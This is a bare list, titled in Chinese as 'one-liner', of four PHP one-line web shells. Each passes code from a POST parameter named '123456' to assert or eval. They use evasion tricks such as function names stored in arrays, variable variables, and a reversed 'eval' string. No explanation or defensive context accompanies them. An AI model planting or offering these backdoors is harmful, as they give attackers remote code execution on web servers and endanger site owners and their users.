一句话
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['123456']);?>
<?php $a = "assert";$fun = "a";$$fun($_POST['123456']);?>
<?php var_dump(md5(123456));$content=stripslashes($_POST[123456]);eval($content);?>
<?php $a='lave'; $b='($_POST[123456])'; $a=strrev($a); @assert($a.$b);?>